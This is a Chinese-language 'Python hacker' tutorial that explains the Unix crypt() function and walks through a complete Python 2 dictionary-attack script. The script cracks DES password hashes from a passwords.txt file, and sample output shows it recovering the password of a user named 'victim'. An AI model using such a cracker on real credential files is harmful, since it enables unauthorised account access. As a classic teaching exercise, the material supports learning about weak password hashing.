Python 黑客 实战:UNIX口令破解机

使用的系统:Ubuntu 14.04 LTS

Python语言版本:Python 2.7.10 V

crypt 库是Python内置的库。在UNIX系统使用,使用crypt()函数对密码进行加密。UNIX Crypt 函数计算的加密口令为:crypt('egg', 'HX') = HX9LLTdc/jiDE

  1. $ python
  2. Python 2.7.6 (default, Jun 22 2015, 18:00:18)
  3. [GCC 4.8.2] on linux2
  4. Type "help", "copyright", "credits" or "license" for more information.
  5. >>> help('crypt')

输出:

  1. Help on module crypt:
  2. NAME
  3. crypt
  4. FILE
  5. /usr/lib/python2.7/lib-dynload/crypt.i386-linux-gnu.so
  6. MODULE DOCS
  7. http://docs.python.org/library/crypt
  8. FUNCTIONS
  9. crypt(...)
  10. crypt(word, salt) -> string
  11. word will usually be a user's password. salt is a 2-character string
  12. which will be used to select one of 4096 variations of DES. The characters
  13. in salt must be either ".", "/", or an alphanumeric character. Returns
  14. the hashed password as a string, which will be composed of characters from
  15. the same alphabet as the salt.
  16. (END)

q退出。

我们来试试这个crypt()函数:

  1. >>> import crypt
  2. >>> crypt.crypt("egg", "HX")
  3. 'HX9LLTdc/jiDE'
  4. >>>

程序设计思路

黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。

这就是:字典攻击法 ,来破解加密的口令。

程序编写

你可以在这里下载源代码: 1-4-2-passwdCrack.py

源代码讲解:

  1. #! /usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import crypt
  4. def testPass(cryptPass): # 加密的口令hash
  5. salt = cryptPass[0:2] # 提取加密的口令hash前两个字符视为salt
  6. dictFile = open('dictionary.txt', 'r') # 读取字典里的所有单词
  7. for word in dictFile.readlines(): # 遍历字典中的每一个单词
  8. word = word.strip('\n') # 提取单个单词
  9. cryptWord = crypt.crypt(word, salt) # 用每个单词和salt计算一个新的加密口令hash
  10. if cryptWord == cryptPass: # 如果结果与加密口令hash匹配
  11. print '[+] Found Password: ' + word + '\n' # 显示找到密码
  12. return # 找到密码,返回
  13. print '[-] Password Not Found.\n' # 搜遍字典无果
  14. return # 没有找到密码,返回
  15. def main():
  16. passFile = open('passwords.txt') # 打开加密口令文件"passwords.txt"
  17. for line in passFile.readlines(): # 逐行读取口令文件中的内容
  18. if ':' in line:
  19. user = line.split(':')[0]
  20. cryptPass = line.split(':')[1].strip(' ') # 每一行的用户名和口令hash都是分隔开的
  21. print '[*] Cracking Password For: ' + user
  22. testPass(cryptPass) # 调用testPass()函数,尝试用字典中的单词破解口令hash
  23. if __name__ == '__main__':
  24. main()

代码中读取的 ‘passwords.txt’ 和 ‘dictionary.txt’ 文件在这里可以下载。

添加可执行权限:

  1. sudo chmod 777 1-4-2-passwdCrack.py

运行脚本:

  1. $ ./1-4-2-passwdCrack.py
  2. [*] Cracking Password For: victim
  3. [+] Found Password: egg
  4. [*] Cracking Password For: root
  5. [-] Password Not Found.

从输出结果可以看出:我成功破解了victim用户的密码。root的密码我们没有成功。那么这表明:root 一定是使用了我们字典( ‘dictionary.txt’ 文件)之外的单词作为密码。没事,我们现在学习了这一种破解方法(字典攻击法),后面我们会学习更多的破解方法。

Python 黑客 --- 001 UNIX口令破解机的更多相关文章

  1. UNIX口令破解机

    在编写我们的UNIX口令破解机时,我们需要使用UNIX 计算口令hash 的crypt()算法.Python 标准库中已自带有crypt 库.要计算一个加密的UNIX 口令hash,只需调用函数cry ...

  2. python写unix口令破解器

    看了python绝技做出来的unix口令破解器 首先需要crypt. python并不自带!! windows下pip安装失败= = 后来直接去kali敲了 附件:jiami.txt #假设是unix ...

  3. Python黑客泰斗利用aircrack-ng破解 wifi 密码,超详细教程!

    开始前,先连上无线网卡,因为虚拟机中的kali系统不用调用笔记本自带的无线网卡,所以需要一个外接无线网卡,然后接入kali系统. 输入 ifconfig -a 查看网卡,多了个 wlan0,说明网卡已 ...

  4. python 黑客书籍 ——扫描+暴力破解

    https://legacy.gitbook.com/book/germey/net-security/details 网络安全 介绍 构建一个端口扫描器 利用Pexpect模拟SSH连接 利用Pxs ...

  5. Python与Hack之Zip文件口令破解

    1.需要的库: **import zipfile**import optparse**from threading import Thread(1)zipfile:1.1 zipfile.ZipFil ...

  6. Python 黑客 --- 002 入门级 ZIP压缩文件口令暴力破解机

    Python 黑客 入门级实战:ZIP压缩文件口令暴力破解机 使用的系统:Ubuntu 14.04 LTS Python语言版本:Python 2.7.10 V 编写zip 压缩文件口令破解器需要使用 ...

  7. Python黑客编程2 入门demo--zip暴力破解

    Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...

  8. 20155236 《信息安全概论》实验二(Windows系统口令破解)实验报告

    20155236 <信息安全概论>实验二(Windows系统口令破解)实验报告 北京电子科技学院(BESTI) 实验报告 课程:信息安全概论 班级:1552 姓名:范晨歌 学号:20155 ...

  9. 2017-2018-1 20155306 20155315 《信息安全技术》实验二、Windows口令破解

    在网络界,攻击事件发生的频率越来越高,其中相当多的都是由于网站密码泄露的缘故,或是人为因素导致,或是口令遭到破解,所以从某种角度而言,密码的安全问题不仅仅是技术上的问题,更主要的是人的安全意识问题. ...

随机推荐

  1. linux服务器版svn安装

    1.检查svn是否安装:rpm -aq subversion2.安装命令yum -y install subversion3.建立svn版本库数据存储根目录mkdir -p /application/ ...

  2. c++primer 第四章编程练习答案

    4.13.1 #include<iostream> struct students { ]; ]; char grade; int age; }; int main() { using n ...

  3. db2生成连续日期

    //生成时间段内连续日期 select * from ( select date('2008-01-01') + (row_NUMBER() over () -1) days AS datennn f ...

  4. MySQL主从复制的常用拓扑结构

    1.复制的常用拓扑结构 复制的体系结构有以下一些基本原则: (1)    每个slave只能有一个master: (2)    每个slave只能有一个唯一的服务器ID: (3)    每个maste ...

  5. 【phpcms-v9】前台content模块中pc标签的调用说明

    内容模块PC标签调用说明 模块名:content 模块提供的可用操作 操作名 说明 lists 内容数据列表 relation 内容相关文章 hits 内容数据点击排行榜 category 内容栏目列 ...

  6. [调试日志]用php函数var_export把多维数组file_put_contents写入并打印到日志,以方便调试之多维数组,用php5中的var_export函数示例,顺带介绍http_build_query(转)

    一行解决写入日志: file_put_contents("/tmp/jack.txt", var_export($layReturnArr,TRUE),FILE_APPEND); ...

  7. 感知机学习算法Java实现

    感知机学习算法Java实现. Perceptron类用于实现感知机, 其中的perceptronOriginal()方法用于实现感知机学习算法的原始形式: perceptronAnother()方法用 ...

  8. HDU5478(快速幂)

    Can you find it Time Limit: 8000/5000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others)T ...

  9. Jetty + Servlet 实现文件下载

    Jetty非常适合做嵌入式web开发,正如Jetty的口号"Don’t deploy your application in Jetty, deploy Jetty in your appl ...

  10. 四川第七届 I Travel(bfs)

    Travel The country frog lives in has nn towns which are conveniently numbered by 1,2,…,n1,2,…,n. Amo ...